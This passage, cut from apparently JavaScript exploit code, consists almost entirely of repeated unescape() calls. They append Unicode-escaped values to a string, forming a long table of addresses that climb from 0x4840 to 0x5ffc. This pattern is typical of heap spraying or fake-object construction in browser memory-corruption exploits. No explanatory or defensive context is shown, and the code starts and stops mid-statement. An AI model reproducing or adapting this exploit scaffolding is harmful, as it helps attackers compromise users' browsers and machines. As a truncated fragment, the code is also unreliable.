unescape(\"%u0000%u4840%u0000%u4844%u0000%u4848%u0000%u484c%u0000%u4850%u0000%u4854%u0000%u4858%u0000%u485c%u0000%u4860%u0000%u4864%u0000%u4868%u0000%u486c%u0000%u4870%u0000%u4874%u0000%u4878%u0000%u487c\");\n    str    += unescape(\"%u0000%u4880%u0000%u4884%u0000%u4888%u0000%u488c%u0000%u4890%u0000%u4894%u0000%u4898%u0000%u489c%u0000%u48a0%u0000%u48a4%u0000%u48a8%u0000%u48ac%u0000%u48b0%u0000%u48b4%u0000%u48b8%u0000%u48bc\");\n    str    += unescape(\"%u0000%u48c0%u0000%u48c4%u0000%u48c8%u0000%u48cc%u0000%u48d0%u0000%u48d4%u0000%u48d8%u0000%u48dc%u0000%u48e0%u0000%u48e4%u0000%u48e8%u0000%u48ec%u0000%u48f0%u0000%u48f4%u0000%u48f8%u0000%u48fc\");\n    str    += unescape(\"%u0000%u4900%u0000%u4904%u0000%u4908%u0000%u490c%u0000%u4910%u0000%u4914%u0000%u4918%u0000%u491c%u0000%u4920%u0000%u4924%u0000%u4928%u0000%u492c%u0000%u4930%u0000%u4934%u0000%u4938%u0000%u493c\");\n    str    += unescape(\"%u0000%u4940%u0000%u4944%u0000%u4948%u0000%u494c%u0000%u4950%u0000%u4954%u0000%u4958%u0000%u495c%u0000%u4960%u0000%u4964%u0000%u4968%u0000%u496c%u0000%u4970%u0000%u4974%u0000%u4978%u0000%u497c\");\n    str    += unescape(\"%u0000%u4980%u0000%u4984%u0000%u4988%u0000%u498c%u0000%u4990%u0000%u4994%u0000%u4998%u0000%u499c%u0000%u49a0%u0000%u49a4%u0000%u49a8%u0000%u49ac%u0000%u49b0%u0000%u49b4%u0000%u49b8%u0000%u49bc\");\n    str    += unescape(\"%u0000%u49c0%u0000%u49c4%u0000%u49c8%u0000%u49cc%u0000%u49d0%u0000%u49d4%u0000%u49d8%u0000%u49dc%u0000%u49e0%u0000%u49e4%u0000%u49e8%u0000%u49ec%u0000%u49f0%u0000%u49f4%u0000%u49f8%u0000%u49fc\");\n    str    += unescape(\"%u0000%u4a00%u0000%u4a04%u0000%u4a08%u0000%u4a0c%u0000%u4a10%u0000%u4a14%u0000%u4a18%u0000%u4a1c%u0000%u4a20%u0000%u4a24%u0000%u4a28%u0000%u4a2c%u0000%u4a30%u0000%u4a34%u0000%u4a38%u0000%u4a3c\");\n    str    += unescape(\"%u0000%u4a40%u0000%u4a44%u0000%u4a48%u0000%u4a4c%u0000%u4a50%u0000%u4a54%u0000%u4a58%u0000%u4a5c%u0000%u4a60%u0000%u4a64%u0000%u4a68%u0000%u4a6c%u0000%u4a70%u0000%u4a74%u0000%u4a78%u0000%u4a7c\");\n    str    += unescape(\"%u0000%u4a80%u0000%u4a84%u0000%u4a88%u0000%u4a8c%u0000%u4a90%u0000%u4a94%u0000%u4a98%u0000%u4a9c%u0000%u4aa0%u0000%u4aa4%u0000%u4aa8%u0000%u4aac%u0000%u4ab0%u0000%u4ab4%u0000%u4ab8%u0000%u4abc\");\n    str    += unescape(\"%u0000%u4ac0%u0000%u4ac4%u0000%u4ac8%u0000%u4acc%u0000%u4ad0%u0000%u4ad4%u0000%u4ad8%u0000%u4adc%u0000%u4ae0%u0000%u4ae4%u0000%u4ae8%u0000%u4aec%u0000%u4af0%u0000%u4af4%u0000%u4af8%u0000%u4afc\");\n    str    += unescape(\"%u0000%u4b00%u0000%u4b04%u0000%u4b08%u0000%u4b0c%u0000%u4b10%u0000%u4b14%u0000%u4b18%u0000%u4b1c%u0000%u4b20%u0000%u4b24%u0000%u4b28%u0000%u4b2c%u0000%u4b30%u0000%u4b34%u0000%u4b38%u0000%u4b3c\");\n    str    += unescape(\"%u0000%u4b40%u0000%u4b44%u0000%u4b48%u0000%u4b4c%u0000%u4b50%u0000%u4b54%u0000%u4b58%u0000%u4b5c%u0000%u4b60%u0000%u4b64%u0000%u4b68%u0000%u4b6c%u0000%u4b70%u0000%u4b74%u0000%u4b78%u0000%u4b7c\");\n    str    += unescape(\"%u0000%u4b80%u0000%u4b84%u0000%u4b88%u0000%u4b8c%u0000%u4b90%u0000%u4b94%u0000%u4b98%u0000%u4b9c%u0000%u4ba0%u0000%u4ba4%u0000%u4ba8%u0000%u4bac%u0000%u4bb0%u0000%u4bb4%u0000%u4bb8%u0000%u4bbc\");\n    str    += unescape(\"%u0000%u4bc0%u0000%u4bc4%u0000%u4bc8%u0000%u4bcc%u0000%u4bd0%u0000%u4bd4%u0000%u4bd8%u0000%u4bdc%u0000%u4be0%u0000%u4be4%u0000%u4be8%u0000%u4bec%u0000%u4bf0%u0000%u4bf4%u0000%u4bf8%u0000%u4bfc\");\n    str    += unescape(\"%u0000%u4c00%u0000%u4c04%u0000%u4c08%u0000%u4c0c%u0000%u4c10%u0000%u4c14%u0000%u4c18%u0000%u4c1c%u0000%u4c20%u0000%u4c24%u0000%u4c28%u0000%u4c2c%u0000%u4c30%u0000%u4c34%u0000%u4c38%u0000%u4c3c\");\n    str    += unescape(\"%u0000%u4c40%u0000%u4c44%u0000%u4c48%u0000%u4c4c%u0000%u4c50%u0000%u4c54%u0000%u4c58%u0000%u4c5c%u0000%u4c60%u0000%u4c64%u0000%u4c68%u0000%u4c6c%u0000%u4c70%u0000%u4c74%u0000%u4c78%u0000%u4c7c\");\n    str    += unescape(\"%u0000%u4c80%u0000%u4c84%u0000%u4c88%u0000%u4c8c%u0000%u4c90%u0000%u4c94%u0000%u4c98%u0000%u4c9c%u0000%u4ca0%u0000%u4ca4%u0000%u4ca8%u0000%u4cac%u0000%u4cb0%u0000%u4cb4%u0000%u4cb8%u0000%u4cbc\");\n    str    += unescape(\"%u0000%u4cc0%u0000%u4cc4%u0000%u4cc8%u0000%u4ccc%u0000%u4cd0%u0000%u4cd4%u0000%u4cd8%u0000%u4cdc%u0000%u4ce0%u0000%u4ce4%u0000%u4ce8%u0000%u4cec%u0000%u4cf0%u0000%u4cf4%u0000%u4cf8%u0000%u4cfc\");\n    str    += unescape(\"%u0000%u4d00%u0000%u4d04%u0000%u4d08%u0000%u4d0c%u0000%u4d10%u0000%u4d14%u0000%u4d18%u0000%u4d1c%u0000%u4d20%u0000%u4d24%u0000%u4d28%u0000%u4d2c%u0000%u4d30%u0000%u4d34%u0000%u4d38%u0000%u4d3c\");\n    str    += unescape(\"%u0000%u4d40%u0000%u4d44%u0000%u4d48%u0000%u4d4c%u0000%u4d50%u0000%u4d54%u0000%u4d58%u0000%u4d5c%u0000%u4d60%u0000%u4d64%u0000%u4d68%u0000%u4d6c%u0000%u4d70%u0000%u4d74%u0000%u4d78%u0000%u4d7c\");\n    str    += unescape(\"%u0000%u4d80%u0000%u4d84%u0000%u4d88%u0000%u4d8c%u0000%u4d90%u0000%u4d94%u0000%u4d98%u0000%u4d9c%u0000%u4da0%u0000%u4da4%u0000%u4da8%u0000%u4dac%u0000%u4db0%u0000%u4db4%u0000%u4db8%u0000%u4dbc\");\n    str    += unescape(\"%u0000%u4dc0%u0000%u4dc4%u0000%u4dc8%u0000%u4dcc%u0000%u4dd0%u0000%u4dd4%u0000%u4dd8%u0000%u4ddc%u0000%u4de0%u0000%u4de4%u0000%u4de8%u0000%u4dec%u0000%u4df0%u0000%u4df4%u0000%u4df8%u0000%u4dfc\");\n    str    += unescape(\"%u0000%u4e00%u0000%u4e04%u0000%u4e08%u0000%u4e0c%u0000%u4e10%u0000%u4e14%u0000%u4e18%u0000%u4e1c%u0000%u4e20%u0000%u4e24%u0000%u4e28%u0000%u4e2c%u0000%u4e30%u0000%u4e34%u0000%u4e38%u0000%u4e3c\");\n    str    += unescape(\"%u0000%u4e40%u0000%u4e44%u0000%u4e48%u0000%u4e4c%u0000%u4e50%u0000%u4e54%u0000%u4e58%u0000%u4e5c%u0000%u4e60%u0000%u4e64%u0000%u4e68%u0000%u4e6c%u0000%u4e70%u0000%u4e74%u0000%u4e78%u0000%u4e7c\");\n    str    += unescape(\"%u0000%u4e80%u0000%u4e84%u0000%u4e88%u0000%u4e8c%u0000%u4e90%u0000%u4e94%u0000%u4e98%u0000%u4e9c%u0000%u4ea0%u0000%u4ea4%u0000%u4ea8%u0000%u4eac%u0000%u4eb0%u0000%u4eb4%u0000%u4eb8%u0000%u4ebc\");\n    str    += unescape(\"%u0000%u4ec0%u0000%u4ec4%u0000%u4ec8%u0000%u4ecc%u0000%u4ed0%u0000%u4ed4%u0000%u4ed8%u0000%u4edc%u0000%u4ee0%u0000%u4ee4%u0000%u4ee8%u0000%u4eec%u0000%u4ef0%u0000%u4ef4%u0000%u4ef8%u0000%u4efc\");\n    str    += unescape(\"%u0000%u4f00%u0000%u4f04%u0000%u4f08%u0000%u4f0c%u0000%u4f10%u0000%u4f14%u0000%u4f18%u0000%u4f1c%u0000%u4f20%u0000%u4f24%u0000%u4f28%u0000%u4f2c%u0000%u4f30%u0000%u4f34%u0000%u4f38%u0000%u4f3c\");\n    str    += unescape(\"%u0000%u4f40%u0000%u4f44%u0000%u4f48%u0000%u4f4c%u0000%u4f50%u0000%u4f54%u0000%u4f58%u0000%u4f5c%u0000%u4f60%u0000%u4f64%u0000%u4f68%u0000%u4f6c%u0000%u4f70%u0000%u4f74%u0000%u4f78%u0000%u4f7c\");\n    str    += unescape(\"%u0000%u4f80%u0000%u4f84%u0000%u4f88%u0000%u4f8c%u0000%u4f90%u0000%u4f94%u0000%u4f98%u0000%u4f9c%u0000%u4fa0%u0000%u4fa4%u0000%u4fa8%u0000%u4fac%u0000%u4fb0%u0000%u4fb4%u0000%u4fb8%u0000%u4fbc\");\n    str    += unescape(\"%u0000%u4fc0%u0000%u4fc4%u0000%u4fc8%u0000%u4fcc%u0000%u4fd0%u0000%u4fd4%u0000%u4fd8%u0000%u4fdc%u0000%u4fe0%u0000%u4fe4%u0000%u4fe8%u0000%u4fec%u0000%u4ff0%u0000%u4ff4%u0000%u4ff8%u0000%u4ffc\");\n    str    += unescape(\"%u0000%u5000%u0000%u5004%u0000%u5008%u0000%u500c%u0000%u5010%u0000%u5014%u0000%u5018%u0000%u501c%u0000%u5020%u0000%u5024%u0000%u5028%u0000%u502c%u0000%u5030%u0000%u5034%u0000%u5038%u0000%u503c\");\n    str    += unescape(\"%u0000%u5040%u0000%u5044%u0000%u5048%u0000%u504c%u0000%u5050%u0000%u5054%u0000%u5058%u0000%u505c%u0000%u5060%u0000%u5064%u0000%u5068%u0000%u506c%u0000%u5070%u0000%u5074%u0000%u5078%u0000%u507c\");\n    str    += unescape(\"%u0000%u5080%u0000%u5084%u0000%u5088%u0000%u508c%u0000%u5090%u0000%u5094%u0000%u5098%u0000%u509c%u0000%u50a0%u0000%u50a4%u0000%u50a8%u0000%u50ac%u0000%u50b0%u0000%u50b4%u0000%u50b8%u0000%u50bc\");\n    str    += unescape(\"%u0000%u50c0%u0000%u50c4%u0000%u50c8%u0000%u50cc%u0000%u50d0%u0000%u50d4%u0000%u50d8%u0000%u50dc%u0000%u50e0%u0000%u50e4%u0000%u50e8%u0000%u50ec%u0000%u50f0%u0000%u50f4%u0000%u50f8%u0000%u50fc\");\n    str    += unescape(\"%u0000%u5100%u0000%u5104%u0000%u5108%u0000%u510c%u0000%u5110%u0000%u5114%u0000%u5118%u0000%u511c%u0000%u5120%u0000%u5124%u0000%u5128%u0000%u512c%u0000%u5130%u0000%u5134%u0000%u5138%u0000%u513c\");\n    str    += unescape(\"%u0000%u5140%u0000%u5144%u0000%u5148%u0000%u514c%u0000%u5150%u0000%u5154%u0000%u5158%u0000%u515c%u0000%u5160%u0000%u5164%u0000%u5168%u0000%u516c%u0000%u5170%u0000%u5174%u0000%u5178%u0000%u517c\");\n    str    += unescape(\"%u0000%u5180%u0000%u5184%u0000%u5188%u0000%u518c%u0000%u5190%u0000%u5194%u0000%u5198%u0000%u519c%u0000%u51a0%u0000%u51a4%u0000%u51a8%u0000%u51ac%u0000%u51b0%u0000%u51b4%u0000%u51b8%u0000%u51bc\");\n    str    += unescape(\"%u0000%u51c0%u0000%u51c4%u0000%u51c8%u0000%u51cc%u0000%u51d0%u0000%u51d4%u0000%u51d8%u0000%u51dc%u0000%u51e0%u0000%u51e4%u0000%u51e8%u0000%u51ec%u0000%u51f0%u0000%u51f4%u0000%u51f8%u0000%u51fc\");\n    str    += unescape(\"%u0000%u5200%u0000%u5204%u0000%u5208%u0000%u520c%u0000%u5210%u0000%u5214%u0000%u5218%u0000%u521c%u0000%u5220%u0000%u5224%u0000%u5228%u0000%u522c%u0000%u5230%u0000%u5234%u0000%u5238%u0000%u523c\");\n    str    += unescape(\"%u0000%u5240%u0000%u5244%u0000%u5248%u0000%u524c%u0000%u5250%u0000%u5254%u0000%u5258%u0000%u525c%u0000%u5260%u0000%u5264%u0000%u5268%u0000%u526c%u0000%u5270%u0000%u5274%u0000%u5278%u0000%u527c\");\n    str    += unescape(\"%u0000%u5280%u0000%u5284%u0000%u5288%u0000%u528c%u0000%u5290%u0000%u5294%u0000%u5298%u0000%u529c%u0000%u52a0%u0000%u52a4%u0000%u52a8%u0000%u52ac%u0000%u52b0%u0000%u52b4%u0000%u52b8%u0000%u52bc\");\n    str    += unescape(\"%u0000%u52c0%u0000%u52c4%u0000%u52c8%u0000%u52cc%u0000%u52d0%u0000%u52d4%u0000%u52d8%u0000%u52dc%u0000%u52e0%u0000%u52e4%u0000%u52e8%u0000%u52ec%u0000%u52f0%u0000%u52f4%u0000%u52f8%u0000%u52fc\");\n    str    += unescape(\"%u0000%u5300%u0000%u5304%u0000%u5308%u0000%u530c%u0000%u5310%u0000%u5314%u0000%u5318%u0000%u531c%u0000%u5320%u0000%u5324%u0000%u5328%u0000%u532c%u0000%u5330%u0000%u5334%u0000%u5338%u0000%u533c\");\n    str    += unescape(\"%u0000%u5340%u0000%u5344%u0000%u5348%u0000%u534c%u0000%u5350%u0000%u5354%u0000%u5358%u0000%u535c%u0000%u5360%u0000%u5364%u0000%u5368%u0000%u536c%u0000%u5370%u0000%u5374%u0000%u5378%u0000%u537c\");\n    str    += unescape(\"%u0000%u5380%u0000%u5384%u0000%u5388%u0000%u538c%u0000%u5390%u0000%u5394%u0000%u5398%u0000%u539c%u0000%u53a0%u0000%u53a4%u0000%u53a8%u0000%u53ac%u0000%u53b0%u0000%u53b4%u0000%u53b8%u0000%u53bc\");\n    str    += unescape(\"%u0000%u53c0%u0000%u53c4%u0000%u53c8%u0000%u53cc%u0000%u53d0%u0000%u53d4%u0000%u53d8%u0000%u53dc%u0000%u53e0%u0000%u53e4%u0000%u53e8%u0000%u53ec%u0000%u53f0%u0000%u53f4%u0000%u53f8%u0000%u53fc\");\n    str    += unescape(\"%u0000%u5400%u0000%u5404%u0000%u5408%u0000%u540c%u0000%u5410%u0000%u5414%u0000%u5418%u0000%u541c%u0000%u5420%u0000%u5424%u0000%u5428%u0000%u542c%u0000%u5430%u0000%u5434%u0000%u5438%u0000%u543c\");\n    str    += unescape(\"%u0000%u5440%u0000%u5444%u0000%u5448%u0000%u544c%u0000%u5450%u0000%u5454%u0000%u5458%u0000%u545c%u0000%u5460%u0000%u5464%u0000%u5468%u0000%u546c%u0000%u5470%u0000%u5474%u0000%u5478%u0000%u547c\");\n    str    += unescape(\"%u0000%u5480%u0000%u5484%u0000%u5488%u0000%u548c%u0000%u5490%u0000%u5494%u0000%u5498%u0000%u549c%u0000%u54a0%u0000%u54a4%u0000%u54a8%u0000%u54ac%u0000%u54b0%u0000%u54b4%u0000%u54b8%u0000%u54bc\");\n    str    += unescape(\"%u0000%u54c0%u0000%u54c4%u0000%u54c8%u0000%u54cc%u0000%u54d0%u0000%u54d4%u0000%u54d8%u0000%u54dc%u0000%u54e0%u0000%u54e4%u0000%u54e8%u0000%u54ec%u0000%u54f0%u0000%u54f4%u0000%u54f8%u0000%u54fc\");\n    str    += unescape(\"%u0000%u5500%u0000%u5504%u0000%u5508%u0000%u550c%u0000%u5510%u0000%u5514%u0000%u5518%u0000%u551c%u0000%u5520%u0000%u5524%u0000%u5528%u0000%u552c%u0000%u5530%u0000%u5534%u0000%u5538%u0000%u553c\");\n    str    += unescape(\"%u0000%u5540%u0000%u5544%u0000%u5548%u0000%u554c%u0000%u5550%u0000%u5554%u0000%u5558%u0000%u555c%u0000%u5560%u0000%u5564%u0000%u5568%u0000%u556c%u0000%u5570%u0000%u5574%u0000%u5578%u0000%u557c\");\n    str    += unescape(\"%u0000%u5580%u0000%u5584%u0000%u5588%u0000%u558c%u0000%u5590%u0000%u5594%u0000%u5598%u0000%u559c%u0000%u55a0%u0000%u55a4%u0000%u55a8%u0000%u55ac%u0000%u55b0%u0000%u55b4%u0000%u55b8%u0000%u55bc\");\n    str    += unescape(\"%u0000%u55c0%u0000%u55c4%u0000%u55c8%u0000%u55cc%u0000%u55d0%u0000%u55d4%u0000%u55d8%u0000%u55dc%u0000%u55e0%u0000%u55e4%u0000%u55e8%u0000%u55ec%u0000%u55f0%u0000%u55f4%u0000%u55f8%u0000%u55fc\");\n    str    += unescape(\"%u0000%u5600%u0000%u5604%u0000%u5608%u0000%u560c%u0000%u5610%u0000%u5614%u0000%u5618%u0000%u561c%u0000%u5620%u0000%u5624%u0000%u5628%u0000%u562c%u0000%u5630%u0000%u5634%u0000%u5638%u0000%u563c\");\n    str    += unescape(\"%u0000%u5640%u0000%u5644%u0000%u5648%u0000%u564c%u0000%u5650%u0000%u5654%u0000%u5658%u0000%u565c%u0000%u5660%u0000%u5664%u0000%u5668%u0000%u566c%u0000%u5670%u0000%u5674%u0000%u5678%u0000%u567c\");\n    str    += unescape(\"%u0000%u5680%u0000%u5684%u0000%u5688%u0000%u568c%u0000%u5690%u0000%u5694%u0000%u5698%u0000%u569c%u0000%u56a0%u0000%u56a4%u0000%u56a8%u0000%u56ac%u0000%u56b0%u0000%u56b4%u0000%u56b8%u0000%u56bc\");\n    str    += unescape(\"%u0000%u56c0%u0000%u56c4%u0000%u56c8%u0000%u56cc%u0000%u56d0%u0000%u56d4%u0000%u56d8%u0000%u56dc%u0000%u56e0%u0000%u56e4%u0000%u56e8%u0000%u56ec%u0000%u56f0%u0000%u56f4%u0000%u56f8%u0000%u56fc\");\n    str    += unescape(\"%u0000%u5700%u0000%u5704%u0000%u5708%u0000%u570c%u0000%u5710%u0000%u5714%u0000%u5718%u0000%u571c%u0000%u5720%u0000%u5724%u0000%u5728%u0000%u572c%u0000%u5730%u0000%u5734%u0000%u5738%u0000%u573c\");\n    str    += unescape(\"%u0000%u5740%u0000%u5744%u0000%u5748%u0000%u574c%u0000%u5750%u0000%u5754%u0000%u5758%u0000%u575c%u0000%u5760%u0000%u5764%u0000%u5768%u0000%u576c%u0000%u5770%u0000%u5774%u0000%u5778%u0000%u577c\");\n    str    += unescape(\"%u0000%u5780%u0000%u5784%u0000%u5788%u0000%u578c%u0000%u5790%u0000%u5794%u0000%u5798%u0000%u579c%u0000%u57a0%u0000%u57a4%u0000%u57a8%u0000%u57ac%u0000%u57b0%u0000%u57b4%u0000%u57b8%u0000%u57bc\");\n    str    += unescape(\"%u0000%u57c0%u0000%u57c4%u0000%u57c8%u0000%u57cc%u0000%u57d0%u0000%u57d4%u0000%u57d8%u0000%u57dc%u0000%u57e0%u0000%u57e4%u0000%u57e8%u0000%u57ec%u0000%u57f0%u0000%u57f4%u0000%u57f8%u0000%u57fc\");\n    str    += unescape(\"%u0000%u5800%u0000%u5804%u0000%u5808%u0000%u580c%u0000%u5810%u0000%u5814%u0000%u5818%u0000%u581c%u0000%u5820%u0000%u5824%u0000%u5828%u0000%u582c%u0000%u5830%u0000%u5834%u0000%u5838%u0000%u583c\");\n    str    += unescape(\"%u0000%u5840%u0000%u5844%u0000%u5848%u0000%u584c%u0000%u5850%u0000%u5854%u0000%u5858%u0000%u585c%u0000%u5860%u0000%u5864%u0000%u5868%u0000%u586c%u0000%u5870%u0000%u5874%u0000%u5878%u0000%u587c\");\n    str    += unescape(\"%u0000%u5880%u0000%u5884%u0000%u5888%u0000%u588c%u0000%u5890%u0000%u5894%u0000%u5898%u0000%u589c%u0000%u58a0%u0000%u58a4%u0000%u58a8%u0000%u58ac%u0000%u58b0%u0000%u58b4%u0000%u58b8%u0000%u58bc\");\n    str    += unescape(\"%u0000%u58c0%u0000%u58c4%u0000%u58c8%u0000%u58cc%u0000%u58d0%u0000%u58d4%u0000%u58d8%u0000%u58dc%u0000%u58e0%u0000%u58e4%u0000%u58e8%u0000%u58ec%u0000%u58f0%u0000%u58f4%u0000%u58f8%u0000%u58fc\");\n    str    += unescape(\"%u0000%u5900%u0000%u5904%u0000%u5908%u0000%u590c%u0000%u5910%u0000%u5914%u0000%u5918%u0000%u591c%u0000%u5920%u0000%u5924%u0000%u5928%u0000%u592c%u0000%u5930%u0000%u5934%u0000%u5938%u0000%u593c\");\n    str    += unescape(\"%u0000%u5940%u0000%u5944%u0000%u5948%u0000%u594c%u0000%u5950%u0000%u5954%u0000%u5958%u0000%u595c%u0000%u5960%u0000%u5964%u0000%u5968%u0000%u596c%u0000%u5970%u0000%u5974%u0000%u5978%u0000%u597c\");\n    str    += unescape(\"%u0000%u5980%u0000%u5984%u0000%u5988%u0000%u598c%u0000%u5990%u0000%u5994%u0000%u5998%u0000%u599c%u0000%u59a0%u0000%u59a4%u0000%u59a8%u0000%u59ac%u0000%u59b0%u0000%u59b4%u0000%u59b8%u0000%u59bc\");\n    str    += unescape(\"%u0000%u59c0%u0000%u59c4%u0000%u59c8%u0000%u59cc%u0000%u59d0%u0000%u59d4%u0000%u59d8%u0000%u59dc%u0000%u59e0%u0000%u59e4%u0000%u59e8%u0000%u59ec%u0000%u59f0%u0000%u59f4%u0000%u59f8%u0000%u59fc\");\n    str    += unescape(\"%u0000%u5a00%u0000%u5a04%u0000%u5a08%u0000%u5a0c%u0000%u5a10%u0000%u5a14%u0000%u5a18%u0000%u5a1c%u0000%u5a20%u0000%u5a24%u0000%u5a28%u0000%u5a2c%u0000%u5a30%u0000%u5a34%u0000%u5a38%u0000%u5a3c\");\n    str    += unescape(\"%u0000%u5a40%u0000%u5a44%u0000%u5a48%u0000%u5a4c%u0000%u5a50%u0000%u5a54%u0000%u5a58%u0000%u5a5c%u0000%u5a60%u0000%u5a64%u0000%u5a68%u0000%u5a6c%u0000%u5a70%u0000%u5a74%u0000%u5a78%u0000%u5a7c\");\n    str    += unescape(\"%u0000%u5a80%u0000%u5a84%u0000%u5a88%u0000%u5a8c%u0000%u5a90%u0000%u5a94%u0000%u5a98%u0000%u5a9c%u0000%u5aa0%u0000%u5aa4%u0000%u5aa8%u0000%u5aac%u0000%u5ab0%u0000%u5ab4%u0000%u5ab8%u0000%u5abc\");\n    str    += unescape(\"%u0000%u5ac0%u0000%u5ac4%u0000%u5ac8%u0000%u5acc%u0000%u5ad0%u0000%u5ad4%u0000%u5ad8%u0000%u5adc%u0000%u5ae0%u0000%u5ae4%u0000%u5ae8%u0000%u5aec%u0000%u5af0%u0000%u5af4%u0000%u5af8%u0000%u5afc\");\n    str    += unescape(\"%u0000%u5b00%u0000%u5b04%u0000%u5b08%u0000%u5b0c%u0000%u5b10%u0000%u5b14%u0000%u5b18%u0000%u5b1c%u0000%u5b20%u0000%u5b24%u0000%u5b28%u0000%u5b2c%u0000%u5b30%u0000%u5b34%u0000%u5b38%u0000%u5b3c\");\n    str    += unescape(\"%u0000%u5b40%u0000%u5b44%u0000%u5b48%u0000%u5b4c%u0000%u5b50%u0000%u5b54%u0000%u5b58%u0000%u5b5c%u0000%u5b60%u0000%u5b64%u0000%u5b68%u0000%u5b6c%u0000%u5b70%u0000%u5b74%u0000%u5b78%u0000%u5b7c\");\n    str    += unescape(\"%u0000%u5b80%u0000%u5b84%u0000%u5b88%u0000%u5b8c%u0000%u5b90%u0000%u5b94%u0000%u5b98%u0000%u5b9c%u0000%u5ba0%u0000%u5ba4%u0000%u5ba8%u0000%u5bac%u0000%u5bb0%u0000%u5bb4%u0000%u5bb8%u0000%u5bbc\");\n    str    += unescape(\"%u0000%u5bc0%u0000%u5bc4%u0000%u5bc8%u0000%u5bcc%u0000%u5bd0%u0000%u5bd4%u0000%u5bd8%u0000%u5bdc%u0000%u5be0%u0000%u5be4%u0000%u5be8%u0000%u5bec%u0000%u5bf0%u0000%u5bf4%u0000%u5bf8%u0000%u5bfc\");\n    str    += unescape(\"%u0000%u5c00%u0000%u5c04%u0000%u5c08%u0000%u5c0c%u0000%u5c10%u0000%u5c14%u0000%u5c18%u0000%u5c1c%u0000%u5c20%u0000%u5c24%u0000%u5c28%u0000%u5c2c%u0000%u5c30%u0000%u5c34%u0000%u5c38%u0000%u5c3c\");\n    str    += unescape(\"%u0000%u5c40%u0000%u5c44%u0000%u5c48%u0000%u5c4c%u0000%u5c50%u0000%u5c54%u0000%u5c58%u0000%u5c5c%u0000%u5c60%u0000%u5c64%u0000%u5c68%u0000%u5c6c%u0000%u5c70%u0000%u5c74%u0000%u5c78%u0000%u5c7c\");\n    str    += unescape(\"%u0000%u5c80%u0000%u5c84%u0000%u5c88%u0000%u5c8c%u0000%u5c90%u0000%u5c94%u0000%u5c98%u0000%u5c9c%u0000%u5ca0%u0000%u5ca4%u0000%u5ca8%u0000%u5cac%u0000%u5cb0%u0000%u5cb4%u0000%u5cb8%u0000%u5cbc\");\n    str    += unescape(\"%u0000%u5cc0%u0000%u5cc4%u0000%u5cc8%u0000%u5ccc%u0000%u5cd0%u0000%u5cd4%u0000%u5cd8%u0000%u5cdc%u0000%u5ce0%u0000%u5ce4%u0000%u5ce8%u0000%u5cec%u0000%u5cf0%u0000%u5cf4%u0000%u5cf8%u0000%u5cfc\");\n    str    += unescape(\"%u0000%u5d00%u0000%u5d04%u0000%u5d08%u0000%u5d0c%u0000%u5d10%u0000%u5d14%u0000%u5d18%u0000%u5d1c%u0000%u5d20%u0000%u5d24%u0000%u5d28%u0000%u5d2c%u0000%u5d30%u0000%u5d34%u0000%u5d38%u0000%u5d3c\");\n    str    += unescape(\"%u0000%u5d40%u0000%u5d44%u0000%u5d48%u0000%u5d4c%u0000%u5d50%u0000%u5d54%u0000%u5d58%u0000%u5d5c%u0000%u5d60%u0000%u5d64%u0000%u5d68%u0000%u5d6c%u0000%u5d70%u0000%u5d74%u0000%u5d78%u0000%u5d7c\");\n    str    += unescape(\"%u0000%u5d80%u0000%u5d84%u0000%u5d88%u0000%u5d8c%u0000%u5d90%u0000%u5d94%u0000%u5d98%u0000%u5d9c%u0000%u5da0%u0000%u5da4%u0000%u5da8%u0000%u5dac%u0000%u5db0%u0000%u5db4%u0000%u5db8%u0000%u5dbc\");\n    str    += unescape(\"%u0000%u5dc0%u0000%u5dc4%u0000%u5dc8%u0000%u5dcc%u0000%u5dd0%u0000%u5dd4%u0000%u5dd8%u0000%u5ddc%u0000%u5de0%u0000%u5de4%u0000%u5de8%u0000%u5dec%u0000%u5df0%u0000%u5df4%u0000%u5df8%u0000%u5dfc\");\n    str    += unescape(\"%u0000%u5e00%u0000%u5e04%u0000%u5e08%u0000%u5e0c%u0000%u5e10%u0000%u5e14%u0000%u5e18%u0000%u5e1c%u0000%u5e20%u0000%u5e24%u0000%u5e28%u0000%u5e2c%u0000%u5e30%u0000%u5e34%u0000%u5e38%u0000%u5e3c\");\n    str    += unescape(\"%u0000%u5e40%u0000%u5e44%u0000%u5e48%u0000%u5e4c%u0000%u5e50%u0000%u5e54%u0000%u5e58%u0000%u5e5c%u0000%u5e60%u0000%u5e64%u0000%u5e68%u0000%u5e6c%u0000%u5e70%u0000%u5e74%u0000%u5e78%u0000%u5e7c\");\n    str    += unescape(\"%u0000%u5e80%u0000%u5e84%u0000%u5e88%u0000%u5e8c%u0000%u5e90%u0000%u5e94%u0000%u5e98%u0000%u5e9c%u0000%u5ea0%u0000%u5ea4%u0000%u5ea8%u0000%u5eac%u0000%u5eb0%u0000%u5eb4%u0000%u5eb8%u0000%u5ebc\");\n    str    += unescape(\"%u0000%u5ec0%u0000%u5ec4%u0000%u5ec8%u0000%u5ecc%u0000%u5ed0%u0000%u5ed4%u0000%u5ed8%u0000%u5edc%u0000%u5ee0%u0000%u5ee4%u0000%u5ee8%u0000%u5eec%u0000%u5ef0%u0000%u5ef4%u0000%u5ef8%u0000%u5efc\");\n    str    += unescape(\"%u0000%u5f00%u0000%u5f04%u0000%u5f08%u0000%u5f0c%u0000%u5f10%u0000%u5f14%u0000%u5f18%u0000%u5f1c%u0000%u5f20%u0000%u5f24%u0000%u5f28%u0000%u5f2c%u0000%u5f30%u0000%u5f34%u0000%u5f38%u0000%u5f3c\");\n    str    += unescape(\"%u0000%u5f40%u0000%u5f44%u0000%u5f48%u0000%u5f4c%u0000%u5f50%u0000%u5f54%u0000%u5f58%u0000%u5f5c%u0000%u5f60%u0000%u5f64%u0000%u5f68%u0000%u5f6c%u0000%u5f70%u0000%u5f74%u0000%u5f78%u0000%u5f7c\");\n    str    += unescape(\"%u0000%u5f80%u0000%u5f84%u0000%u5f88%u0000%u5f8c%u0000%u5f90%u0000%u5f94%u0000%u5f98%u0000%u5f9c%u0000%u5fa0%u0000%u5fa4%u0000%u5fa8%u0000%u5fac%u0000%u5fb0%u0000%u5fb4%u0000%u5fb8%u0000%u5fbc\");\n    str    += unescape(\"%u0000%u5fc0%u0000%u5fc4%u0000%u5fc8%u0000%u5fcc%u0000%u5fd0%u0000%u5fd4%u0000%u5fd8%u0000%u5fdc%u0000%u5fe0%u0000%u5fe4%u0000%u5fe8%u0000%u5fec%u0000%u5ff0%u0000%u5ff4%u0000%u5ff8%u0000%u5ffc\");\n    str    += 